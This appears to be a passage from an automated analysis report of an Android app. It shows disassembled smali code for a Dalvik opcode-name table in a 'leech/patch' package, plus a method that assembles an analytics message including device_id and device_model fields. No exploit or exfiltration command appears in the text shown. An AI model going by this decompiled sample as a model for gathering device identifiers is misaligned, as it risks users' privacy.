                                                                              394aput-object v2, v0, v1
                                                                              395const/16 v1, 0x62
                                                                              397const-string v2, "sget-object"
                                                                              398aput-object v2, v0, v1
                                                                              399const/16 v1, 0x63
                                                                              401const-string v2, "sget-boolean"
                                                                              402aput-object v2, v0, v1
                                                                              403const/16 v1, 0x64
                                                                              405const-string v2, "sget-byte"
                                                                              406aput-object v2, v0, v1
                                                                              407const/16 v1, 0x65
                                                                              409const-string v2, "sget-char"
                                                                              410aput-object v2, v0, v1
                                                                              411const/16 v1, 0x66
                                                                              413const-string v2, "sget-short"
                                                                              414aput-object v2, v0, v1
                                                                              415const/16 v1, 0x67
                                                                              417const-string v2, "sput"
                                                                              418aput-object v2, v0, v1
                                                                              419const/16 v1, 0x68
                                                                              421const-string v2, "sput-wide"
                                                                              422aput-object v2, v0, v1
                                                                              423const/16 v1, 0x69
                                                                              425const-string v2, "sput-object"
                                                                              426aput-object v2, v0, v1
                                                                              427const/16 v1, 0x6a
                                                                              429const-string v2, "sput-boolean"
                                                                              430aput-object v2, v0, v1
                                                                              431const/16 v1, 0x6b
                                                                              433const-string v2, "sput-byte"
                                                                              434aput-object v2, v0, v1
                                                                              435const/16 v1, 0x6c
                                                                              437const-string v2, "sput-char"
                                                                              438aput-object v2, v0, v1
                                                                              439const/16 v1, 0x6d
                                                                              441const-string v2, "sput-short"
                                                                              442aput-object v2, v0, v1
                                                                              443const/16 v1, 0x6e
                                                                              445const-string v2, "invoke-virtual"
                                                                              446aput-object v2, v0, v1
                                                                              447const/16 v1, 0x6f
                                                                              449const-string v2, "invoke-super"
                                                                              450aput-object v2, v0, v1
                                                                              451const/16 v1, 0x70
                                                                              453const-string v2, "invoke-direct"
                                                                              454aput-object v2, v0, v1
                                                                              455const/16 v1, 0x71
                                                                              457const-string v2, "invoke-static"
                                                                              458aput-object v2, v0, v1
                                                                              459const/16 v1, 0x72
                                                                              461const-string v2, "invoke-interface"
                                                                              462aput-object v2, v0, v1
                                                                              463const/16 v1, 0x73
                                                                              465const-string v2, "unused_73"
                                                                              466aput-object v2, v0, v1
                                                                              467const/16 v1, 0x74
                                                                              469const-string v2, "invoke-virtual/range"
                                                                              470aput-object v2, v0, v1
                                                                              471const/16 v1, 0x75
                                                                              473const-string v2, "invoke-super/range"
                                                                              474aput-object v2, v0, v1
                                                                              475const/16 v1, 0x76
                                                                              477const-string v2, "invoke-direct/range"
                                                                              478aput-object v2, v0, v1
                                                                              479const/16 v1, 0x77
                                                                              481const-string v2, "invoke-static/range"
                                                                              482aput-object v2, v0, v1
                                                                              483const/16 v1, 0x78
                                                                              485const-string v2, "invoke-interface/range"
                                                                              486aput-object v2, v0, v1
                                                                              487const/16 v1, 0x79
                                                                              489const-string v2, "unused_79"
                                                                              490aput-object v2, v0, v1
                                                                              491const/16 v1, 0x7a
                                                                              493const-string v2, "unused_7A"
                                                                              494aput-object v2, v0, v1
                                                                              495const/16 v1, 0x7b
                                                                              497const-string v2, "neg-int"
                                                                              498aput-object v2, v0, v1
                                                                              499const/16 v1, 0x7c
                                                                              501const-string v2, "not-int"
                                                                              502aput-object v2, v0, v1
                                                                              503const/16 v1, 0x7d
                                                                              505const-string v2, "neg-long"
                                                                              506aput-object v2, v0, v1
                                                                              507const/16 v1, 0x7e
                                                                              509const-string v2, "not-long"
                                                                              510aput-object v2, v0, v1
                                                                              511const/16 v1, 0x7f
                                                                              513const-string v2, "neg-float"
                                                                              514aput-object v2, v0, v1
                                                                              515const/16 v1, 0x80
                                                                              517const-string v2, "neg-double"
                                                                              518aput-object v2, v0, v1
                                                                              519const/16 v1, 0x81
                                                                              521const-string v2, "int-to-long"
                                                                              522aput-object v2, v0, v1
                                                                              523const/16 v1, 0x82
                                                                              525const-string v2, "int-to-float"
                                                                              526aput-object v2, v0, v1
                                                                              527const/16 v1, 0x83
                                                                              529const-string v2, "int-to-double"
                                                                              530aput-object v2, v0, v1
                                                                              531const/16 v1, 0x84
                                                                              533const-string v2, "long-to-int"
                                                                              534aput-object v2, v0, v1
                                                                              535const/16 v1, 0x85
                                                                              537const-string v2, "long-to-float"
                                                                              538aput-object v2, v0, v1
                                                                              539const/16 v1, 0x86
                                                                              541const-string v2, "long-to-double"
                                                                              542aput-object v2, v0, v1
                                                                              543const/16 v1, 0x87
                                                                              545const-string v2, "float-to-int"
                                                                              546aput-object v2, v0, v1
                                                                              547const/16 v1, 0x88
                                                                              549const-string v2, "float-to-long"
                                                                              550aput-object v2, v0, v1
                                                                              551const/16 v1, 0x89
                                                                              553const-string v2, "float-to-double"
                                                                              554aput-object v2, v0, v1
                                                                              555const/16 v1, 0x8a
                                                                              557const-string v2, "double-to-int"
                                                                              558aput-object v2, v0, v1
                                                                              559const/16 v1, 0x8b
                                                                              561const-string v2, "double-to-long"
                                                                              562aput-object v2, v0, v1
                                                                              563const/16 v1, 0x8c
                                                                              565const-string v2, "double-to-float"
                                                                              566aput-object v2, v0, v1
                                                                              567const/16 v1, 0x8d
                                                                              569const-string v2, "int-to-byte"
                                                                              570aput-object v2, v0, v1
                                                                              571const/16 v1, 0x8e
                                                                              573const-string v2, "int-to-char"
                                                                              574aput-object v2, v0, v1
                                                                              575const/16 v1, 0x8f
                                                                              577const-string v2, "int-to-short"
                                                                              578aput-object v2, v0, v1
                                                                              579const/16 v1, 0x90
                                                                              581const-string v2, "add-int"
                                                                              582aput-object v2, v0, v1
                                                                              583const/16 v1, 0x91
                                                                              585const-string v2, "sub-int"
                                                                              586aput-object v2, v0, v1
                                                                              587const/16 v1, 0x92
                                                                              589const-string v2, "mul-int"
                                                                              590aput-object v2, v0, v1
                                                                              591const/16 v1, 0x93
                                                                              593const-string v2, "div-int"
                                                                              594aput-object v2, v0, v1
                                                                              595const/16 v1, 0x94
                                                                              597const-string v2, "rem-int"
                                                                              598aput-object v2, v0, v1
                                                                              599const/16 v1, 0x95
                                                                              601const-string v2, "and-int"
                                                                              602aput-object v2, v0, v1
                                                                              603const/16 v1, 0x96
                                                                              605const-string v2, "or-int"
                                                                              606aput-object v2, v0, v1
                                                                              607const/16 v1, 0x97
                                                                              609const-string v2, "xor-int"
                                                                              610aput-object v2, v0, v1
                                                                              611const/16 v1, 0x98
                                                                              613const-string v2, "shl-int"
                                                                              614aput-object v2, v0, v1
                                                                              615const/16 v1, 0x99
                                                                              617const-string v2, "shr-int"
                                                                              618aput-object v2, v0, v1
                                                                              619const/16 v1, 0x9a
                                                                              621const-string v2, "ushr-int"
                                                                              622aput-object v2, v0, v1
                                                                              623const/16 v1, 0x9b
                                                                              625const-string v2, "add-long"
                                                                              626aput-object v2, v0, v1
                                                                              627const/16 v1, 0x9c
                                                                              629const-string v2, "sub-long"
                                                                              630aput-object v2, v0, v1
                                                                              631const/16 v1, 0x9d
                                                                              633const-string v2, "mul-long"
                                                                              634aput-object v2, v0, v1
                                                                              635const/16 v1, 0x9e
                                                                              637const-string v2, "div-long"
                                                                              638aput-object v2, v0, v1
                                                                              639const/16 v1, 0x9f
                                                                              641const-string v2, "rem-long"
                                                                              642aput-object v2, v0, v1
                                                                              643const/16 v1, 0xa0
                                                                              645const-string v2, "and-long"
                                                                              646aput-object v2, v0, v1
                                                                              647const/16 v1, 0xa1
                                                                              649const-string v2, "or-long"
                                                                              650aput-object v2, v0, v1
                                                                              651const/16 v1, 0xa2
                                                                              653const-string v2, "xor-long"
                                                                              654aput-object v2, v0, v1
                                                                              655const/16 v1, 0xa3
                                                                              657const-string v2, "shl-long"
                                                                              658aput-object v2, v0, v1
                                                                              659const/16 v1, 0xa4
                                                                              661const-string v2, "shr-long"
                                                                              662aput-object v2, v0, v1
                                                                              663const/16 v1, 0xa5
                                                                              665const-string v2, "ushr-long"
                                                                              666aput-object v2, v0, v1
                                                                              667const/16 v1, 0xa6
                                                                              669const-string v2, "add-float"
                                                                              670aput-object v2, v0, v1
                                                                              671const/16 v1, 0xa7
                                                                              673const-string v2, "sub-float"
                                                                              674aput-object v2, v0, v1
                                                                              675const/16 v1, 0xa8
                                                                              677const-string v2, "mul-float"
                                                                              678aput-object v2, v0, v1
                                                                              679const/16 v1, 0xa9
                                                                              681const-string v2, "div-float"
                                                                              682aput-object v2, v0, v1
                                                                              683const/16 v1, 0xaa
                                                                              685const-string v2, "rem-float"
                                                                              686aput-object v2, v0, v1
                                                                              687const/16 v1, 0xab
                                                                              689const-string v2, "add-double"
                                                                              690aput-object v2, v0, v1
                                                                              691const/16 v1, 0xac
                                                                              693const-string v2, "sub-double"
                                                                              694aput-object v2, v0, v1
                                                                              695const/16 v1, 0xad
                                                                              697const-string v2, "mul-double"
                                                                              698aput-object v2, v0, v1
                                                                              699const/16 v1, 0xae
                                                                              701const-string v2, "div-double"
                                                                              702aput-object v2, v0, v1
                                                                              703const/16 v1, 0xaf
                                                                              705const-string v2, "rem-double"
                                                                              706aput-object v2, v0, v1
                                                                              707const/16 v1, 0xb0
                                                                              709const-string v2, "add-int/2addr"
                                                                              710aput-object v2, v0, v1
                                                                              711const/16 v1, 0xb1
                                                                              713const-string v2, "sub-int/2addr"
                                                                              714aput-object v2, v0, v1
                                                                              715const/16 v1, 0xb2
                                                                              717const-string v2, "mul-int/2addr"
                                                                              718aput-object v2, v0, v1
                                                                              719const/16 v1, 0xb3
                                                                              721const-string v2, "div-int/2addr"
                                                                              722aput-object v2, v0, v1
                                                                              723const/16 v1, 0xb4
                                                                              725const-string v2, "rem-int/2addr"
                                                                              726aput-object v2, v0, v1
                                                                              727const/16 v1, 0xb5
                                                                              729const-string v2, "and-int/2addr"
                                                                              730aput-object v2, v0, v1
                                                                              731const/16 v1, 0xb6
                                                                              733const-string v2, "or-int/2addr"
                                                                              734aput-object v2, v0, v1
                                                                              735const/16 v1, 0xb7
                                                                              737const-string v2, "xor-int/2addr"
                                                                              738aput-object v2, v0, v1
                                                                              739const/16 v1, 0xb8
                                                                              741const-string v2, "shl-int/2addr"
                                                                              742aput-object v2, v0, v1
                                                                              743const/16 v1, 0xb9
                                                                              745const-string v2, "shr-int/2addr"
                                                                              746aput-object v2, v0, v1
                                                                              747const/16 v1, 0xba
                                                                              749const-string v2, "ushr-int/2addr"
                                                                              750aput-object v2, v0, v1
                                                                              751const/16 v1, 0xbb
                                                                              753const-string v2, "add-long/2addr"
                                                                              754aput-object v2, v0, v1
                                                                              755const/16 v1, 0xbc
                                                                              757const-string v2, "sub-long/2addr"
                                                                              758aput-object v2, v0, v1
                                                                              759const/16 v1, 0xbd
                                                                              761const-string v2, "mul-long/2addr"
                                                                              762aput-object v2, v0, v1
                                                                              763const/16 v1, 0xbe
                                                                              765const-string v2, "div-long/2addr"
                                                                              766aput-object v2, v0, v1
                                                                              767const/16 v1, 0xbf
                                                                              769const-string v2, "rem-long/2addr"
                                                                              770aput-object v2, v0, v1
                                                                              771const/16 v1, 0xc0
                                                                              773const-string v2, "and-long/2addr"
                                                                              774aput-object v2, v0, v1
                                                                              775const/16 v1, 0xc1
                                                                              777const-string v2, "or-long/2addr"
                                                                              778aput-object v2, v0, v1
                                                                              779const/16 v1, 0xc2
                                                                              781const-string v2, "xor-long/2addr"
                                                                              782aput-object v2, v0, v1
                                                                              783const/16 v1, 0xc3
                                                                              785const-string v2, "shl-long/2addr"
                                                                              786aput-object v2, v0, v1
                                                                              787const/16 v1, 0xc4
                                                                              789const-string v2, "shr-long/2addr"
                                                                              790aput-object v2, v0, v1
                                                                              791const/16 v1, 0xc5
                                                                              793const-string v2, "ushr-long/2addr"
                                                                              794aput-object v2, v0, v1
                                                                              795const/16 v1, 0xc6
                                                                              797const-string v2, "add-float/2addr"
                                                                              798aput-object v2, v0, v1
                                                                              799const/16 v1, 0xc7
                                                                              801const-string v2, "sub-float/2addr"
                                                                              802aput-object v2, v0, v1
                                                                              803const/16 v1, 0xc8
                                                                              805const-string v2, "mul-float/2addr"
                                                                              806aput-object v2, v0, v1
                                                                              807const/16 v1, 0xc9
                                                                              809const-string v2, "div-float/2addr"
                                                                              810aput-object v2, v0, v1
                                                                              811const/16 v1, 0xca
                                                                              813const-string v2, "rem-float/2addr"
                                                                              814aput-object v2, v0, v1
                                                                              815const/16 v1, 0xcb
                                                                              817const-string v2, "add-double/2addr"
                                                                              818aput-object v2, v0, v1
                                                                              819const/16 v1, 0xcc
                                                                              821const-string v2, "sub-double/2addr"
                                                                              822aput-object v2, v0, v1
                                                                              823const/16 v1, 0xcd
                                                                              825const-string v2, "mul-double/2addr"
                                                                              826aput-object v2, v0, v1
                                                                              827const/16 v1, 0xce
                                                                              829const-string v2, "div-double/2addr"
                                                                              830aput-object v2, v0, v1
                                                                              831const/16 v1, 0xcf
                                                                              833const-string v2, "rem-double/2addr"
                                                                              834aput-object v2, v0, v1
                                                                              835const/16 v1, 0xd0
                                                                              837const-string v2, "add-int/lit16"
                                                                              838aput-object v2, v0, v1
                                                                              839const/16 v1, 0xd1
                                                                              841const-string v2, "sub-int/lit16"
                                                                              842aput-object v2, v0, v1
                                                                              843const/16 v1, 0xd2
                                                                              845const-string v2, "mul-int/lit16"
                                                                              846aput-object v2, v0, v1
                                                                              847const/16 v1, 0xd3
                                                                              849const-string v2, "div-int/lit16"
                                                                              850aput-object v2, v0, v1
                                                                              851const/16 v1, 0xd4
                                                                              853const-string v2, "rem-int/lit16"
                                                                              854aput-object v2, v0, v1
                                                                              855const/16 v1, 0xd5
                                                                              857const-string v2, "and-int/lit16"
                                                                              858aput-object v2, v0, v1
                                                                              859const/16 v1, 0xd6
                                                                              861const-string v2, "or-int/lit16"
                                                                              862aput-object v2, v0, v1
                                                                              863const/16 v1, 0xd7
                                                                              865const-string v2, "xor-int/lit16 "
                                                                              866aput-object v2, v0, v1
                                                                              867const/16 v1, 0xd8
                                                                              869const-string v2, "add-int/lit8"
                                                                              870aput-object v2, v0, v1
                                                                              871const/16 v1, 0xd9
                                                                              873const-string v2, "sub-int/lit8"
                                                                              874aput-object v2, v0, v1
                                                                              875const/16 v1, 0xda
                                                                              877const-string v2, "mul-int/lit-8"
                                                                              878aput-object v2, v0, v1
                                                                              879const/16 v1, 0xdb
                                                                              881const-string v2, "div-int/lit8"
                                                                              882aput-object v2, v0, v1
                                                                              883const/16 v1, 0xdc
                                                                              885const-string v2, "rem-int/lit8"
                                                                              886aput-object v2, v0, v1
                                                                              887const/16 v1, 0xdd
                                                                              889const-string v2, "and-int/lit8"
                                                                              890aput-object v2, v0, v1
                                                                              891const/16 v1, 0xde
                                                                              893const-string v2, "or-int/lit8"
                                                                              894aput-object v2, v0, v1
                                                                              895const/16 v1, 0xdf
                                                                              897const-string v2, "xor-int/lit8"
                                                                              898aput-object v2, v0, v1
                                                                              899const/16 v1, 0xe0
                                                                              901const-string v2, "shl-int/lit8"
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0xe1
                                                                              905const-string v2, "shr-int/lit8"
                                                                              906aput-object v2, v0, v1
                                                                              907const/16 v1, 0xe2
                                                                              909const-string v2, "ushr-int/lit8"
                                                                              910aput-object v2, v0, v1
                                                                              911const/16 v1, 0xe3
                                                                              913const-string v2, "unused_E3"
                                                                              914aput-object v2, v0, v1
                                                                              915const/16 v1, 0xe4
                                                                              917const-string v2, "unused_E4"
                                                                              918aput-object v2, v0, v1
                                                                              919const/16 v1, 0xe5
                                                                              921const-string v2, "unused_E5"
                                                                              922aput-object v2, v0, v1
                                                                              923const/16 v1, 0xe6
                                                                              925const-string v2, "unused_E6"
                                                                              926aput-object v2, v0, v1
                                                                              927const/16 v1, 0xe7
                                                                              929const-string v2, "unused_E7"
                                                                              930aput-object v2, v0, v1
                                                                              931const/16 v1, 0xe8
                                                                              933const-string v2, "unused_E8"
                                                                              934aput-object v2, v0, v1
                                                                              935const/16 v1, 0xe9
                                                                              937const-string v2, "unused_E9"
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0xea
                                                                              941const-string v2, "unused_EA"
                                                                              942aput-object v2, v0, v1
                                                                              943const/16 v1, 0xeb
                                                                              945const-string v2, "unused_EB"
                                                                              946aput-object v2, v0, v1
                                                                              947const/16 v1, 0xec
                                                                              949const-string v2, "unused_EC"
                                                                              950aput-object v2, v0, v1
                                                                              951const/16 v1, 0xed
                                                                              953const-string v2, "unused_ED"
                                                                              954aput-object v2, v0, v1
                                                                              955const/16 v1, 0xee
                                                                              957const-string v2, "unused_EE"
                                                                              958aput-object v2, v0, v1
                                                                              959const/16 v1, 0xef
                                                                              961const-string v2, "unused_EF"
                                                                              962aput-object v2, v0, v1
                                                                              963const/16 v1, 0xf0
                                                                              965const-string v2, "invoke-direct-empty"
                                                                              966aput-object v2, v0, v1
                                                                              967const/16 v1, 0xf1
                                                                              969const-string v2, "unused_F1"
                                                                              970aput-object v2, v0, v1
                                                                              971const/16 v1, 0xf2
                                                                              973const-string v2, "ushr-int/lit8"
                                                                              974aput-object v2, v0, v1
                                                                              975const/16 v1, 0xf3
                                                                              977const-string v2, "iget-wide-quick"
                                                                              978aput-object v2, v0, v1
                                                                              979const/16 v1, 0xf4
                                                                              981const-string v2, "iget-object-quick"
                                                                              982aput-object v2, v0, v1
                                                                              983const/16 v1, 0xf5
                                                                              985const-string v2, "iput-quick"
                                                                              986aput-object v2, v0, v1
                                                                              987const/16 v1, 0xf6
                                                                              989const-string v2, "iput-wide-quick"
                                                                              990aput-object v2, v0, v1
                                                                              991const/16 v1, 0xf7
                                                                              993const-string v2, "iput-object-quick"
                                                                              994aput-object v2, v0, v1
                                                                              995const/16 v1, 0xf8
                                                                              997const-string v2, "invoke-virtual-quick"
                                                                              998aput-object v2, v0, v1
                                                                              999const/16 v1, 0xf9
                                                                              1001const-string v2, "invoke-virtual-quick/range"
                                                                              1002aput-object v2, v0, v1
                                                                              1003const/16 v1, 0xfa
                                                                              1005const-string v2, "invoke-super-quick"
                                                                              1006aput-object v2, v0, v1
                                                                              1007const/16 v1, 0xfb
                                                                              1009const-string v2, "invoke-super-quick/range"
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0xfc
                                                                              1013const-string v2, "unused_FC"
                                                                              1014aput-object v2, v0, v1
                                                                              1015const/16 v1, 0xfd
                                                                              1017const-string v2, "unused_FD"
                                                                              1018aput-object v2, v0, v1
                                                                              1019const/16 v1, 0xfe
                                                                              1021const-string v2, "unused_FE"
                                                                              1022aput-object v2, v0, v1
                                                                              1023const/16 v1, 0xff
                                                                              1025const-string v2, "unused_FF"
                                                                              1026aput-object v2, v0, v1
                                                                              1027sput-object v0, Lcom/android/leech/patch/smali/OPCode;->OPCode_Smali:[Ljava/lang/String;
                                                                              1028return-void
                                                                              Cross References
                                                                              APIs
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getJSONObject
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getJSONArray
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getJSONArray
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getJSONArray
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getJSONArray
                                                                              • org.json.JSONArray.<init>
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONArray.getJSONObject
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.remove
                                                                              • org.json.JSONArray.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getJSONObject
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getJSONObject
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getJSONObject
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getJSONObject
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getInt
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • org.json.JSONObject.toString
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • analytics
                                                                              • ekv
                                                                              • gkv
                                                                              • error
                                                                              • sessions
                                                                              • autopages
                                                                              • activate_msg
                                                                              • active_user
                                                                              • dplus
                                                                              • header
                                                                              • sdk_version
                                                                              • device_id
                                                                              • device_model
                                                                              • version_code
                                                                              • version
                                                                              • appkey
                                                                              • channel
                                                                              • constructMessage:
                                                                              Position Instruction Meta Information
                                                                              0if-nez p1, :cond_3
                                                                              1cond_2: return-void
                                                                              2try_start_3:
                                                                              3invoke-virtual {p1}, Lorg/json/JSONObject;->length()I
                                                                              4move-result v0
                                                                              5if-lez v0, :cond_2
                                                                              6new-instance v1, Lorg/json/JSONObject;
                                                                              8invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                                                              10const-string v0, "analytics"
                                                                              12invoke-virtual {p1, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              13move-result v0
                                                                              14if-eqz v0, :cond_b9
                                                                              16const-string v0, "analytics"
                                                                              18invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                                                                              19move-result-object v2
                                                                              21const-string v0, "ekv"
                                                                              23invoke-virtual {v2, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              24move-result v0
                                                                              25if-eqz v0, :cond_2f
                                                                              27const-string v0, "ekv"
                                                                              29const-string v3, "ekv"
                                                                              31invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                                                                              32move-result-object v3
                                                                              34invoke-virtual {v1, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              35cond_2f:
                                                                              36const-string v0, "gkv"
                                                                              38invoke-virtual {v2, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              39move-result v0
                                                                              40if-eqz v0, :cond_42
                                                                              42const-string v0, "gkv"
                                                                              44const-string v3, "gkv"
                                                                              46invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                                                                              47move-result-object v3
                                                                              49invoke-virtual {v1, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              50cond_42:
                                                                              51const-string v0, "error"
                                                                              53invoke-virtual {v2, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              54move-result v0
                                                                              55if-eqz v0, :cond_55
                                                                              57const-string v0, "error"
                                                                              59const-string v3, "error"
                                                                              61invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                                                                              62move-result-object v3
                                                                              64invoke-virtual {v1, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              65cond_55:
                                                                              66const-string v0, "sessions"
                                                                              68invoke-virtual {v2, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              69move-result v0
                                                                              70if-eqz v0, :cond_93
                                                                              72const-string v0, "sessions"
                                                                              74invoke-virtual {v2, v0}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                                                                              75move-result-object v3
                                                                              76new-instance v4, Lorg/json/JSONArray;
                                                                              78invoke-direct {v4}, Lorg/json/JSONArray;-><init>()V
                                                                              79const/4 v0, 0x0
                                                                              80goto_69:
                                                                              81invoke-virtual {v3}, Lorg/json/JSONArray;->length()I
                                                                              82move-result v5
                                                                              83if-ge v0, v5, :cond_8e
                                                                              85invoke-virtual {v3, v0}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                                                                              86move-result-object v5
                                                                              87if-eqz v5, :cond_8b
                                                                              89invoke-virtual {v5}, Lorg/json/JSONObject;->length()I
                                                                              90move-result v6
                                                                              91if-lez v6, :cond_8b
                                                                              93const-string v6, "autopages"
                                                                              95invoke-virtual {v5, v6}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              96move-result v6
                                                                              97if-eqz v6, :cond_88
                                                                              99const-string v6, "autopages"
                                                                              101invoke-virtual {v5, v6}, Lorg/json/JSONObject;->remove(Ljava/lang/String;)Ljava/lang/Object;
                                                                              102cond_88:
                                                                              103invoke-virtual {v4, v5}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                                                                              104cond_8b: add-int/lit8 v0, v0, 0x1
                                                                              105goto/16 :goto_69
                                                                              106cond_8e:
                                                                              107const-string v0, "sessions"
                                                                              109invoke-virtual {v1, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              110cond_93:
                                                                              111const-string v0, "activate_msg"
                                                                              113invoke-virtual {v2, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              114move-result v0
                                                                              115if-eqz v0, :cond_a6
                                                                              117const-string v0, "activate_msg"
                                                                              119const-string v3, "activate_msg"
                                                                              121invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                                                                              122move-result-object v3
                                                                              124invoke-virtual {v1, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              125cond_a6:
                                                                              126const-string v0, "active_user"
                                                                              128invoke-virtual {v2, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              129move-result v0
                                                                              130if-eqz v0, :cond_b9
                                                                              132const-string v0, "active_user"
                                                                              134const-string v3, "active_user"
                                                                              136invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                                                                              137move-result-object v2
                                                                              139invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              140cond_b9:
                                                                              141const-string v0, "dplus"
                                                                              143invoke-virtual {p1, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              144move-result v0
                                                                              145if-eqz v0, :cond_cc
                                                                              147const-string v0, "dplus"
                                                                              149const-string v2, "dplus"
                                                                              151invoke-virtual {p1, v2}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                                                                              152move-result-object v2
                                                                              154invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              155cond_cc:
                                                                              156const-string v0, "header"
                                                                              158invoke-virtual {p1, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              159move-result v0
                                                                              160if-eqz v0, :cond_15c
                                                                              162const-string v0, "header"
                                                                              164invoke-virtual {p1, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              165move-result v0
                                                                              166if-eqz v0, :cond_15c
                                                                              168const-string v0, "header"
                                                                              170invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                                                                              171move-result-object v0
                                                                              172if-eqz v0, :cond_15c
                                                                              174invoke-virtual {v0}, Lorg/json/JSONObject;->length()I
                                                                              175move-result v2
                                                                              176if-lez v2, :cond_15c
                                                                              178const-string v2, "sdk_version"
                                                                              180invoke-virtual {v0, v2}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              181move-result v2
                                                                              182if-eqz v2, :cond_fd
                                                                              184const-string v2, "sdk_version"
                                                                              186const-string v3, "sdk_version"
                                                                              188invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                                              189move-result-object v3
                                                                              191invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              192cond_fd:
                                                                              193const-string v2, "device_id"
                                                                              195invoke-virtual {v0, v2}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              196move-result v2
                                                                              197if-eqz v2, :cond_110
                                                                              199const-string v2, "device_id"
                                                                              201const-string v3, "device_id"
                                                                              203invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                                              204move-result-object v3
                                                                              206invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              207cond_110:
                                                                              208const-string v2, "device_model"
                                                                              210invoke-virtual {v0, v2}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              211move-result v2
                                                                              212if-eqz v2, :cond_123
